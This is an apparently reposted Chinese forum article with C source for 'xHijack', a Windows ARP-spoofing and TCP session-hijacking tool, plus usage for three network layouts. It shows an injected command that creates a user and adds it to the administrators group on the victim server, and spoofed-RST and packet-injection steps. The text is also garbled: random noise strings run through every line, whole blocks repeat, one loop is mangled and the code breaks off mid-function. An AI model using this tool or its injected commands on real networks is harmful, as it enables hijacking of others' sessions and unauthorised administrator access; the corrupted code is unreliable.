再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
  C( {% B1 u0 z# GHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
第三步就是开始劫持啦。
% \7 n# \- W+ ^1 b
我写了个程序xHijack可以实现第二、三步功能，使用如下:

Usage: xHijack ServerSide ClientSide

. ], I/ b* ]: P9 `  y, D下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
8 L$ Z1 |% b/ k1 Y. E5 {" z' [5 Bc:\>xHijack 192.168.0.2 192.168.0.3
% f& T4 d) p0 Y& m* e* m1 j% K& B' c劫持前数据流程：server <--> client
# [- ~1 k0 V' i) U0 ^1 R, [劫持后数据流程：server <--> hijacker <--> client
% h! N+ E+ P+ g4 p7 ~
<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
# n+ o0 U4 p/ MxHijack 202.202.202.2 202.202.202.1
  V. h/ p* c* K  j劫持前数据流程：server <--> gw <--> routes <--> client
劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client
! b$ t! F2 p4 m( \' U/ _
' h, \: g* W9 [3 s% V% h; X<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
' Y( J8 N' w& S8 k# C5 n6 T假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
xHijack 192.168.0.1 192.168.0.2
* n) a1 D3 V- r+ E劫持前数据流程：client <--> gw <--> routes <--> server
劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server
3 D4 |8 P2 \/ Q6 V. c5 c- m
7 A8 ]& i+ ^" u* W( e输入两个参数后，会提示你选择网卡，然后会提示
; M/ k0 l  f; M( _& rl        <-- List all connections
r x       <-- Reset the number x connection
" {$ }  v" }& `3 R2 _w x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command
! {; Y* Y% I/ f6 t% B
0 Z, F( j, V& Elist、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令，输入
( J" W/ T% ~2 E# u) c7 x3 _xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
. x) D+ j; n* ^) ~8 N7 I1 ^为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
4 _$ _5 f/ o! c' A+ a2 k  H都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。

; Q+ Y  B: f& s劫持的流程如下：
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

这样的话，我们只能发一个伪造的包，但我想已经足够了。
4 C8 {! g; o( z+ ~$ x7 s2 u5 @& U想要一直劫持那个连接也可以，如下
- c( i# ^, }; g% k) v8 `<1>伪装成Server给Client发一个rst包
- M# \0 G- [5 [- Y5 E<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
  @- G+ Q9 ?% W  K<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
0 `0 ^( B; ^3 a8 ~<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。
: X- M: O, Y4 ~

刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
4 Q* b! n0 b2 \# g! y还请各位多多指点。
+ S% x& M2 a1 m0 @# `0 S
* P! j# ]2 U$ h: ^  uBTW:我没有空间，编译好的程序没地方放：（


5 @9 Y) c" ]% ]
参考资料
$ K+ s; T0 t1 H+ x& H- B<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
+ p8 R! \0 i1 y<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377

9 o' {' x1 Y) b' y, z# d+ {3 \
以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
+ E; M) l4 y- [2 X. P; I  B& ]File      : xHijack.c
9 F4 ]/ E! k3 ~2 o6 Z0 e1 bVersion      : 1.0
7 Q* N' B; S) i. I$ A( TCreate at    : 2002/8/12
! _4 y/ y. x& W" yLast modifed at  : 2002/8/19
Author      : eyas
0 _* e; n$ P% b$ D. a  ]0 J8 c0 X$ aEmail      : ey4s@21cn.com
1 I! w" [7 V% Q/ C8 f4 aHomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
, J, h& y& l3 Y/ P8 {If you modify the code, or add more functions, please email me a copy.

% X  `  H% a: K# x备注:
<>没有考虑IP头、TCP头超过20字节的情况
! ?1 o% m! B- m8 a; i4 {0 U: `8 U<>没有考虑数据包分片的情况
8 z, p% V7 ^" x$ G+ O. v% Y4 v6 L<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。

也许下一版本会修正这些问题，也许不会有下一版本了。
. Y" I% M0 Y% V
6 K+ |2 S+ n) a/ C-----------------------------------------------------------------------------*/
#include
#include
1 c8 V. r  N/ C4 \#include
- Z: U) D- ]' I: M: u- m#include
9 L0 l+ f' K/ D* B9 F+ s#include
! G& G& W2 G3 U& ?& d% u, w0 Z" R#include
#include

#pragma comment (lib, "packet")
4 E" `  k5 ?( n! {#pragma comment (lib, "iphlpapi")
. U$ Y5 |- l4 ?#pragma comment (lib, "ws2_32")

/ b  l8 l5 E9 l+ @" D9 R% `8 r#define Max_Num_Adapter 10
#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
#define EPT_ARP      0x0806      /* type: ARP */

7 |! x; C+ n/ m  I1 D#define  ACTION_NONE    0
#define  ACTION_WATCH  1
6 B' S& t- H+ F7 J* h& A7 e# ^) K8 ~#define  ACTION_RESET  2
- T" c% i$ @- }! D#define ACTION_HIJACK  3

/*以1字节对齐*/
1 U3 A' v, C9 F3 X#pragma pack(1)
typedef struct _ehhdr
{
: M: P. I; s6 x1 R; @( {, `  unsigned char  DestMAC[6];
* j0 Q& M% o6 i; q# Y& m( r  unsigned char  SourceMAC[6];
  unsigned short  EthernetType;
}EHHDR, *PEHHDR;
- a. X. k% ~2 U0 c
: P# ?) J- N+ R' ]7 g4 ktypedef struct _iphdr        //定义IP首部
5 a! A7 Q2 J& _  B% e{
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
* D) J( M# y' [6 p$ F  unsigned short total_len;    //16位总长度（字节）
  unsigned short ident;      //16位标识
  unsigned short frag_and_flags;  //3位标志位
- j  {! @1 t2 O* c  unsigned char ttl;        //8位生存时间 TTL
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
  unsigned int sourceIP;      //32位源IP地址
' g' g* t: L' h  unsigned int destIP;      //32位目的IP地址
# ], h# }2 ]7 H2 y" q- M}IPHDR, *PIPHDR;

6 g3 U* S. J9 x4 v+ ntypedef struct _tcphdr        //定义TCP首部
6 W5 J' _- T- m1 j9 g  ]6 N{
  USHORT th_sport;        //16位源端口
* a! v/ x: d% q! X; O# m' h  USHORT th_dport;        //16位目的端口
  unsigned int th_seq;      //32位序列号
, L( J* M* E1 R6 r( I- c  unsigned int th_ack;      //32位确认号
$ f+ G1 G. m0 X! U3 [  B  unsigned char th_lenres;    //4位首部长度/6位保留字
& M. e1 e3 R% w9 q4 M4 S& c  unsigned char th_flag;      //6位标志位
  USHORT th_win;          //16位窗口大小
) D, I, L5 f$ `5 t- P: B. Y: ^  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
  ^+ L0 D1 p9 a, t  |: a: F8 |' [}TCPHDR, *PTCPHDR;
5 [: A; ^& }0 S7 _2 _
7 L: F- S  I8 L$ ^; Ytypedef struct _psdhdr        //定义TCP pseudo header
{               
  unsigned long saddr;
  unsigned long daddr;
& c" z1 Y/ t$ a, J) @  char mbz;
  char ptcl;
& @" E% f4 Y! ^5 O2 m, v  o  unsigned short tcpl;
# R2 I% v) ~7 @' l  O}PSDHDR, *PPSDHDR;

typedef struct _arphdr
+ F* d; ]/ h! l( D! h{
  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
0 c; M* T; E7 V! `3 E2 D9 J' S$ e  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
0 @5 V, ~2 K9 a6 P* Z6 j  unsigned short  op;//operation
* t. P- F) h2 S# x  unsigned char  SourceMAC[6];/* sender hardware address */
  unsigned long  SourceIP;/* sender protocol address */
  unsigned char  DestMAC[6];/* target hardware address */
  unsigned long  DestIP;/* target protocol address */
! U, J  @1 Z' q& C- _8 x# L}ARPHDR, *PARPHDR;
4 I/ Q0 w& `. Q! V& B* ~
typedef struct _ArpPacket
{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;
/ s, s' u/ o( i- Y& D2 F4 }- y
4 n0 \- N1 _9 t7 |typedef struct _tcppacket
- A9 g# U) b( X- H/ ^! D{
8 X+ ]% U' N2 R  EHHDR  ehhdr;
) {* o2 A  P" I2 j2 q1 `  IPHDR  iphdr;
& W2 Y$ D; [! C4 s" |+ S  TCPHDR  tcphdr;
/ R( R" @/ n: o5 c% ?# J}TCPPACKET, *PTCPPACKET;

9 {+ A$ H9 {1 r5 h6 \' |typedef struct _conninfo
{
5 e) R1 R( E2 U+ m" z  DWORD  dwServerIP;
  USHORT  uServerPort;
  o1 {# _- x! D. F- I  DWORD  dwClientIP;
  USHORT  uClientPort;
  DWORD  ident;//标识
8 b! Q* K; d& t8 a# x' m6 L& B  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;
5 I- Z3 l4 g2 l6 P
9 f4 ]! ^. \7 {3 N' Z  S* S//定义全局变量

韩冰

unsigned int  g_ServerSideIP,
; j9 c6 V+ L2 M7 W        g_ClientSideIP,
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
( e8 ]# Z; e* m6 I9 L        g_TotalIP = 0;//
% \0 Q' Z  S9 C3 M' R& dunsigned char  g_szOwnMAC[6];//本机MAC地址
; K! q/ N3 E) }unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
' F8 U5 Y( L$ `char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
! b! F- [9 s" [0 f//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
) O6 c& }# [$ c8 l9 uDWORD      g_dwAction;//action type
; y" g2 Z5 I% b3 P2 s: u$ XDWORD      g_dwCtrlConn;//action 所控制连接的标识
& _+ |3 G+ _* J( Q9 o: ^8 KDWORD      g_ident;//节点标识，递增
5 `3 W' a' I) k. Z9 gPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
! o5 l/ M% W) m  A, y" J& N6 V        g_pConnHead = NULL,
        g_pConnLast = NULL;
( D; m  e; w% K" schar      g_szSendPacketBuf[1514];
( N: K& M% @% o9 c; x  c  H% ]- ULPPACKET    g_lpSendPacket;
//函数
void      usage(void);
- j! j8 D) c( X9 |7 S' Mvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
3 }8 k: t8 P  `5 l8 }! a" CUSHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
/ t; ]. ]$ @' r# [DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
" r" t; J. e9 s9 N$ m' @DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
+ u6 |! Z  I( q+ u( Y0 CBOOL  WINAPI  CtrlEvent(DWORD);
; X. E  b/ T, [" o: Y/ o- O' q
) M9 W+ x/ A. W  R
9 D' c& f" v1 {. f+ P- u. p
int main(int argc, char **argv)
{
! Q! f  G2 R* I: C  struct    bpf_stat stat;
  int      i;
3 j) H1 v" i0 G% `9 Q
  usage();
. U) v: x8 M% N" d: L1 p0 m1 k: W  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
+ C' H: V8 @* o3 e  //初始化adapter & 一些全局变量
4 l6 X* R  o+ w: s6 t: ?  k  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
- S" t. s% z! q' u+ P" A5 T2 A  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
, J* Y4 d7 b+ I0 }8 N, u( m" M6 I  //create arp spoof thread     
$ ^8 Q/ [( P: E0 P  i = 1;
- q+ _. {- N) O& v6 l: c" q  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  i = 2;
- I8 p2 \" r4 V! s! ]3 k: [  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
+ Q4 ^, u6 w% V+ c* y  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
0 R7 q$ W- z6 t( n( t: ]  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
0 Q. {6 d+ A. U2 v  //set console ctrl handle
$ k5 r' Z* @  o0 U1 ]8 k% D  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
6 }; m" b) e2 R    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
  }
  //wait for any thread exit
1 ^4 o, g; T* ~  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
) M+ ?- Y9 L* Y& j$ c* {- A  //print the capture statistics
. q" [1 e& A* j1 i# o1 f  N) ?4 y% c  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
6 {( n& H- x) j" D. b' e" t  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
: P9 R. W" J8 Q( l4 q2 @  `  //free resource   
0 g. M$ x" \9 j3 C  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
- e3 A; W8 b, L}
- @3 C4 N- [5 D2 ?9 S; N
//
//功能：重置所有于ACTION有关的标志
6 L. S( J) u, S( u, L; W* V//

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
7 I" W" v& ]' f  k# q        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
6 I5 B6 `' N" B# w6 D& v$ aunsigned char  g_szOwnMAC[6];//本机MAC地址
& W2 d# X% i4 W. Hunsigned char  g_szClientSideMAC[6];
; g! Q: g$ h; ^" yunsigned char  g_szServerSideMAC[6];
% G$ G) V7 b2 ^+ d8 [% |8 T) r- Ochar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
, A4 i/ }* ?( R) x' l! @LPADAPTER    g_lpAdapter;
4 T( v( W7 E, X% D$ w//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
# R' p' e5 ^4 Q) }( lchar      g_szCommand[128];//command to execute after hijack
. A. [& D9 J. z( C: Y+ WDWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
* z& w/ w% z8 G6 e5 c" S+ g1 Q        g_pConnHead = NULL,
8 F/ K7 f5 e- q        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
) H' g" L9 F# V9 i/ Q2 h. D* h. Q) TLPPACKET    g_lpSendPacket;
4 p6 q4 U/ s3 R; n//函数
7 ~3 D  ^6 `% I0 K0 C  z2 fvoid      usage(void);
# V6 L3 @2 J+ x! T8 Lvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
' X+ ?7 N8 t0 J( T1 k( P+ Gvoid      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
7 r" _3 ]1 H. {4 X+ ZBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
, z0 m  {8 f% @" ZBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
( m) u3 t6 {' L, l' `" `LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
8 n1 Y. K; u1 H  i* `8 YDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
& o5 C; K  r7 Z' q. `DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
2 @# S2 \3 F+ |8 \/ \BOOL  WINAPI  CtrlEvent(DWORD);
* W+ @0 `, n& }2 i7 w0 p! f
, Z1 ]7 R& g7 R, v2 ~* h; J
7 d- J# s% t  \/ h9 N. }' u
int main(int argc, char **argv)
{
1 E1 X, }% K9 l4 j: r* N! m  struct    bpf_stat stat;
& w% V2 N) i" U. C) _  int      i;
' Z  B9 p( T  N
  usage();
5 [! r! w6 y- q( M- L( t0 G  if (argc != 3) return 0;
. s6 ^2 t- s8 ]* |) c* W% n1 d4 N$ i2 J  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
- s! q$ Q. j  n- l% O: y8 P  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
8 s" j5 R( q0 J  p2 R, z  g_lpAdapter = InitAdapter();
8 y% n* y7 [% a* P  b  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
$ p& R1 x9 T- F4 J* |  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
4 J( c, i! w* [8 C5 j4 V- a  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
& }* A; O& O+ _  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
' m; y) z) @( S5 x  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
4 I+ B% M5 M, {: i7 E- W, }  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
; x" V$ e1 f* c  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
$ O; O. ^' \! Q! ~/ I  {
6 ~7 ]" U# S0 u2 r4 T    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
2 X6 Q$ M0 u9 E( N9 R  }
  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
) L. J* q4 g! H! N2 A) S  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
  PacketFreePacket(g_lpSendPacket);
8 Y+ D2 P8 R2 T. E  PacketCloseAdapter(g_lpAdapter);
* m5 l8 U4 X% X$ c( w  return 0;
}
+ O) V, a( r' p4 Y0 \
//
# Y8 |# P2 l6 h( ~( R4 R//功能：重置所有于ACTION有关的标志
//

韩冰

void ResetActionAllFlag()
{
  t; C0 D7 g4 i% ~% o  g_dwCtrlConn = 0;
; @2 \& a+ n/ t8 q( F: Y  S4 c; O  g_pCurrCtrlConn = NULL;
2 {. d: H9 w3 B. j  w- q- }9 l  g_dwAction = ACTION_NONE;
% _; T' H' Q& L$ `* r. H. p, S" }9 ?1 s}

: o" B9 H+ G2 P! y; B+ {1 w//
//功能：处理Ctrl+C和Ctrl+Break事件
//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
# ?, @. v! t! x# n, `/ d{
. _' v7 l  n: _/ b  @3 A4 m  switch(dwCtrlType)
  {
! R. H7 S- _: Y! A& ]    case CTRL_BREAK_EVENT:
- A5 @# m6 x- v      //reset action all flag
      ResetActionAllFlag();
, f; u5 M8 _$ N  u      break;
    case CTRL_C_EVENT:
3 K5 s  M. M2 B4 E      //terminate all thread
      TerminateThread(g_hThread[0], 0);
' o1 K8 P3 W* ~) t      TerminateThread(g_hThread[1], 0);
/ f% a8 @( g2 K$ n+ z5 j; \& X      TerminateThread(g_hThread[2], 0);
      TerminateThread(g_hThread[3], 0);
0 Q! x4 Q) N. S+ \5 f! ^7 N      break;
    default:
( ^1 r  n7 |! D+ F! X( N      break;
, }+ _) d/ e$ L& W; u  }
! R. y6 v/ A* i; @  return TRUE;
}

//
//功能：处理用户输入
//
/ D3 Z/ `  d4 K4 ^) x/ y3 i- W2 HDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
  DWORD  i;
* w  B) f7 L( }9 F% C: \; ^8 t  char  szBuff[16];

9 k- a9 l3 n$ B% F2 V/ C8 h  *lpCommandPos = 0;
8 n) }) {, l* z& @2 }  for(i=0; i<15, i代码比较乱
& R1 \. d& K+ D5 v//
DWORD WINAPI InterfaceThread(LPVOID lp)
" Z. a! l$ D9 V{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
" ^  g+ y9 f3 B) A            "r x\t\t<-- Reset the number x connection\n"
            "w x\t\t<-- Watch the number x connection\n"
            "h x command\t<-- Hijack the number x connection to execute command\n"
            "[Note]\n"
            "Ctrl+Break to clear all action\n"
+ s0 z- ?6 g: C            "Ctrl+C to exit\n";
# U. `9 S& p0 v  char  szPrompt[] = "\nxHijack>";
1 O: Z8 u' k) s  char  szBuffer[128];
  DWORD  dwPos;
6 m3 a! R7 f# j' f  [  PCONNINFO  pTmp;

  while(1)
  {
/ c* D" v* {* I3 l    gets(szBuffer);//不考虑buffer overflow
    switch(szBuffer[0])
    {
      case 'l':
4 f' I$ ]5 n3 V$ g  S      case 'L':
        ListAllConnection();
7 S$ I0 q) p5 J* p- S        break;
      case 'r':
      case 'R':
        if(strlen(szBuffer) >2)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_RESET;
# B! B7 z& L' U        }
: `3 T8 d1 z3 m+ U* f+ |        else printf("%s", szHelp);
        break;
      case 'w':
      case 'W':
        if(strlen(szBuffer) > 2)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_WATCH;
        }
        else printf("%s", szHelp);
  O! T' _8 P! t& f1 @/ P% x; J        break;
  G3 z3 S% b. Q* u      case 'h':
1 U$ j' E; Y$ t( t      case 'H'://h 1 xxx
, F1 W; f- T% e& D        if(strlen(szBuffer) > 5)
        {
$ M8 n+ G: e, U$ N& |( b          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
8 v  M  j+ y2 a7 [1 G( O/ x3 M          //如果command第一个字符是'或"
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
          {
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
3 w! `1 n: d) T: X            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
          }
1 T, \1 j7 G5 Z! P! m0 R$ }          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
2 u, |3 v, Z1 S/ G          strcat(g_szCommand, "\x0D\x0A");
6 `* r* a8 I, n' x          g_dwAction = ACTION_HIJACK;
5 _# Z) f: J9 ]+ @3 D$ _. g        }
! c# k) g; F+ }$ x( {        else printf("%s", szHelp);
3 d5 v5 Z8 ^. q8 _3 b1 _        break;
      default:
- G6 ~) P" x! v        printf("%s", szHelp);
$ L6 ^0 K) E1 \$ h1 v        break;
! Y9 b: l( s4 t- E% ^" n    }//end of switch
    //find the specify ident's struct point
    if( (g_dwCtrlConn) && (g_dwAction) )
$ G. O# s7 ~- u( b$ ]5 A7 v2 v    {
6 X% S1 b1 K/ R8 P+ ]- c1 l      g_pCurrCtrlConn = NULL;
' S0 Y6 w; n$ j9 v& G9 ?      pTmp = g_pConnHead;
& V6 i4 ], E( V/ K# A& o+ T6 p      while(pTmp)
      {
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
        {
! Z1 q2 x) C. ~) g$ R          g_pCurrCtrlConn = pTmp;
          break;
        }
        pTmp = pTmp->Next;
- ]; m. t& J; [1 A# E( G, P      }
      if(!g_pCurrCtrlConn)
      {
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
. v( S9 ]1 f& ]3 E. W6 M2 r        //reset action all flag
) G$ }, ^$ P$ {# Q        ResetActionAllFlag();      
      }
+ M1 j) `4 r2 H; f- A0 D    }
2 w4 H7 ?2 m' m% D- G: x, F    if(!g_dwCtrlConn) ResetActionAllFlag();
! G7 U' p% o5 B! I& p6 c    //显示当前用户所期望的动作
    printf("\nCurrentAction:");
9 X2 R  N% a% q% r    switch(g_dwAction)
% H0 r( h! s. |5 k8 Y) O    {
      case ACTION_WATCH:
3 D7 m% g( M5 L$ w: S        printf("ACTION_WATCH");
        break;
" X% ?' J0 S2 V* z# t      case ACTION_RESET:
        printf("ACTION_RESET");
) h. ^/ M; l5 |3 ?        break;
. M, P0 N7 _" S8 z4 @  }      case ACTION_HIJACK:
6 J9 v- z+ b7 l; [7 W        printf("ACTION_HIJACK");
4 u* j! l0 x5 u' G# w5 |        break;
      default:
        printf("ACTION_NONE");
        break;
    }
1 k  [: B: W/ X7 a9 P+ V, p    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
/ w* s& r2 h5 M9 B2 ^' z! t$ y  return 0;
. b5 V0 w- C" n* J1 h+ Y}

韩冰

// ! ^0 }' ^* Q5 p; K. n$ v* Y( c//功能：列出当前所有连接 // void ListAllConnection() { PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; , o+ [8 K0 M( Y4 S8 W. X. r3 `2 T pTmp = g_pConnHead; while(pTmp) 3 K3 j9 i2 r- D1 x1 l$ y* r: |: D { * l `, H# M2 t1 l! {/ I if(pTmp->bActive) { % Q# J& `5 {2 y# r. Z- G saSource.sin_addr.s_addr = pTmp->dwServerIP; ) r+ S+ ^9 `8 M- j N8 H saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), 5 k6 [5 f* E$ h ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); } 7 ~( E7 \& \+ |% W( K; _! G pTmp = pTmp->Next; } Y) x& {8 [ {( ~; O} : L0 h3 E: {' q8 r" ^ z- p! S# R ) E( w1 H+ U/ Q. {5 Y// ; r3 A" G: y/ s0 C* D( y% W! i//功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 // LPADAPTER InitAdapter() 1 E+ [: C5 q/ w3 ^{ LPADAPTER lpAdapter; % n& [# k3 u* U7 L7 G static char AdapterList[Max_Num_Adapter][1024]; , d) s5 r7 `6 \* g char szSelectAdapterName[512]; & x! Z- k6 x3 u4 b4 L% M WCHAR AdapterName[2048]; % k% v. k7 E0 Y" Z WCHAR *temp,*temp1; ULONG AdapterLength = 1024; int iAdapterNum = 0; ; T' S8 ^- t! C1 S. I u% ~$ C int iRetCode, i; int iAdapter = 0; 7 u$ d# ?5 j7 v& f. M; W ULONG ulLen = 0; ; f1 d) F; c) U" t DWORD dwRet; PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 9 k8 O" X& o' n( W) _) n PIP_ADDR_STRING pIPAddr; " x' ]4 a. W) U- n 7 W8 E, x+ l( l% i //Get The list of Adapter 2 O# d; N7 @$ U) G* A6 p, m if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { ( p/ w4 U3 R. P9 {, g$ v4 t printf("Unable to retrieve the 